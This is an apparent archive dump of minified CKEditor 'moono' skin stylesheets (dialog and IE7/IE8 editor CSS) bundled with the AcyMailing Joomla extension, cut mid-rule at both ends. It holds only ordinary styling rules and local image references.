.cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/dialog_ie8.css000060400000040747152455305310027072 0ustar00.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog .cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{padding-right:2px}.cke_rtl div.cke_dialog_ui_input_text,.cke_rtl div.cke_dialog_ui_input_password{padding-left:2px}.cke_rtl div.cke_dialog_ui_input_text{padding-right:1px}.cke_rtl .cke_dialog_ui_vbox_child,.cke_rtl .cke_dialog_ui_hbox_child,.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_last{padding-right:2px!important}.cke_hc .cke_dialog_title,.cke_hc .cke_dialog_footer,.cke_hc a.cke_dialog_tab,.cke_hc a.cke_dialog_ui_button,.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button_ok,.cke_hc a.cke_dialog_ui_button_ok:hover{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:0}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{display:block}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/editor_ie7.css000060400000114714152455305310027114 0ustar00.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 